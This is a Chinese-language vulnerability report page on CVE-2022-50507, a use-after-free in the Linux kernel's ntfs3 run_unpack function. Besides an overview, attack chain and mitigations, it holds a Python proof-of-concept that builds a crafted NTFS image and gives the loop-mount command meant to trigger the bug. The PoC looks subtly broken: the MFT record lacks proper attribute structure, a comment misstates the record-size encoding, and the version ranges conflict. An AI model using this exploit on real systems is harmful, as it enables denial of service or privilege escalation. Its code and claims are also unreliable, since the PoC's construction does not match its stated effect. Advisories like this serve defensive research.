IPBUF安全漏洞报告
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CVE-2022-50507 CVSS 7.8 高危

CVE-2022-50507 Linux内核ntfs3文件系统数据运行偏移验证缺失漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50507
漏洞类型
Use-After-Free(释放后使用)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(fs/ntfs3 子模块)

相关标签

Linux Kernelntfs3Use-After-Free本地提权文件系统漏洞KASAN数据运行内存安全CWE-416内核漏洞

漏洞概述

CVE-2022-50507是Linux内核ntfs3文件系统驱动中的一个高危安全漏洞。该漏洞位于fs/ntfs3模块的run_unpack函数中,由于缺少对数据运行(data run)偏移量的合法性验证,攻击者可以通过构造恶意的NTFS文件系统镜像,触发内核在使用数据运行偏移量之前未进行充分的健全性检查,从而导致释放后使用(Use-After-Free)漏洞。当用户挂载包含恶意数据的NTFS文件系统时,内核会触发KASAN检测到use-after-free错误,可能导致内存损坏、信息泄露或权限提升。该漏洞的CVSS 3.1评分为7.8分,属于高危级别。攻击者需要本地低权限访问即可利用此漏洞,无需用户交互,成功利用后可能对系统的机密性、完整性和可用性造成严重影响。该漏洞已在Linux内核的多个稳定版本中通过添加数据运行偏移量的健全性检查得到修复。

技术细节

该漏洞的根本原因在于Linux内核ntfs3文件系统驱动的run_unpack函数中,对数据运行(data run)偏移量的处理缺少必要的合法性验证。当系统挂载NTFS文件系统时,内核会解析NTFS卷中的数据运行结构以建立文件数据的物理位置映射。在正常情况下,run_unpack函数会解包数据运行条目并计算其在磁盘上的偏移位置。然而,由于缺乏对偏移量合法性的健全性检查(如检查偏移是否在有效范围内、是否会导致整数溢出等),恶意构造的数据运行偏移可能导致函数访问已释放的内存区域。

具体利用方式为:攻击者创建一个精心设计的NTFS文件系统镜像,其中包含异常的数据运行偏移值。当本地用户或攻击者使用mount命令挂载该恶意NTFS文件系统时,内核调用ntfs_fill_super函数,进而调用ntfs_iget5、ni_enum_attr_ex、run_unpack_ex,最终触发run_unpack函数中的漏洞。KASAN(Kernel Address Sanitizer)检测到在ffff888008a8487f地址处的use-after-free读取操作,读取大小为1字节。

该漏洞的利用可能导致多种后果:1)内核崩溃导致系统拒绝服务;2)通过控制释放后使用的内存内容实现权限提升;3)潜在的信息泄露。修复方案是在解包数据运行之前添加偏移量的合法性验证,确保偏移值在合理范围内,避免访问无效内存区域。

攻击链分析

STEP 1
步骤1:制作恶意NTFS镜像
攻击者创建一个精心构造的NTFS文件系统镜像,其中包含异常的数据运行(data run)偏移值,使偏移量指向无效或已释放的内存区域。
STEP 2
步骤2:诱导用户挂载
攻击者通过社会工程学或其他方式诱导本地用户使用mount命令挂载该恶意NTFS文件系统,例如通过USB设备、共享文件系统或自动挂载机制。
STEP 3
步骤3:触发内核解析
当用户执行mount -t ntfs3命令时,内核调用ntfs_fill_super函数开始解析NTFS文件系统,依次调用ntfs_iget5、ni_enum_attr_ex、run_unpack_ex等函数。
STEP 4
步骤4:触发Use-After-Free
在run_unpack函数中,由于缺少对数据运行偏移量的合法性验证,函数使用恶意的偏移值访问已释放的内存区域,触发KASAN检测到的use-after-free错误。
STEP 5
步骤5:权限提升或系统崩溃
攻击者通过控制释放后使用(UAF)的内存内容,可能实现权限提升(从普通用户提升至root权限),或导致内核panic造成系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50507 PoC - Triggering Use-After-Free in ntfs3 run_unpack # This PoC creates a malicious NTFS image with invalid data run offsets # to trigger the use-after-free vulnerability in run_unpack function. import struct import sys # Minimal NTFS boot sector template NTFS_BOOT_SECTOR = bytearray(512) # OEM ID NTFS_BOOT_SECTOR[3:11] = b'NTFS ' # Bytes per sector = 512 struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0B, 512) # Sectors per cluster = 8 NTFS_BOOT_SECTOR[0x0D] = 8 # Reserved sectors = 0 struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0E, 0) # Number of FATs = 0 (NTFS doesn't use FAT) NTFS_BOOT_SECTOR[0x10] = 0 # Media descriptor = 0xF8 NTFS_BOOT_SECTOR[0x15] = 0xF8 # Sectors per track struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x18, 63) # Number of heads struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x1A, 255) # Hidden sectors struct.pack_into('<I', NTFS_BOOT_SECTOR, 0x1C, 0) # Total sectors struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x28, 0x100000) # MFT cluster number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x30, 0x1000) # MFT mirror cluster number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x38, 0x2000) # Clusters per MFT record NTFS_BOOT_SECTOR[0x40] = 0xF6 # 2^(-10) clusters = -1024 bytes per record # Clusters per index record NTFS_BOOT_SECTOR[0x44] = 0xF6 # Volume serial number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x48, 0x1234567890ABCDEF) # Signature NTFS_BOOT_SECTOR[0x1FE:0x200] = b'\x55\xAA' def create_malicious_data_run(): """ Create a malicious data run with invalid offset value. Data run format: header byte (low nibble = length of offset, high nibble = length of length), followed by length bytes, then offset bytes. """ data_run = bytearray() # Header: offset_length=8, length_length=1 data_run.append(0x81) # Length = 100 clusters data_run.append(100) # Offset = extremely large value to cause out-of-bounds access # This large offset will cause run_unpack to access invalid memory data_run.extend(struct.pack('<q', 0x7FFFFFFFFFFFFFFF)) # End marker data_run.append(0x00) return data_run def create_malicious_ntfs_image(output_path): """Create a malicious NTFS image to trigger CVE-2022-50507""" with open(output_path, 'wb') as f: # Write boot sector f.write(NTFS_BOOT_SECTOR) # Pad to MFT location f.write(b'\x00' * (0x1000 * 8 * 512 - 512)) # Write malicious MFT record with crafted data runs mft_record = bytearray(1024) # FILE signature mft_record[0:4] = b'FILE' # Add malicious data run in attribute area malicious_run = create_malicious_data_run() # Place at attribute offset (simplified) attr_offset = 0x38 mft_record[attr_offset:attr_offset+len(malicious_run)] = malicious_run f.write(mft_record) if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.ntfs' create_malicious_ntfs_image(output) print(f"[*] Malicious NTFS image created: {output}") print("[*] To trigger the vulnerability, mount the image:") print(f" mount -t ntfs3 -o loop {output} /mnt/test") print("[*] Expected: KASAN use-after-free in run_unpack+0x2e3/0x570")

影响范围

Linux Kernel < 6.0(包含ntfs3模块的所有受影响版本)
Linux Kernel 5.19.0+(存在漏洞的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户挂载NTFS文件系统的权限,仅允许root用户执行mount操作;2)在/etc/fstab中禁用ntfs3自动挂载;3)使用seccomp或AppArmor限制mount系统调用的使用;4)对来源不可信的USB设备和可移动存储介质进行安全检查;5)关注内核安全更新公告,及时应用安全补丁。

参考链接

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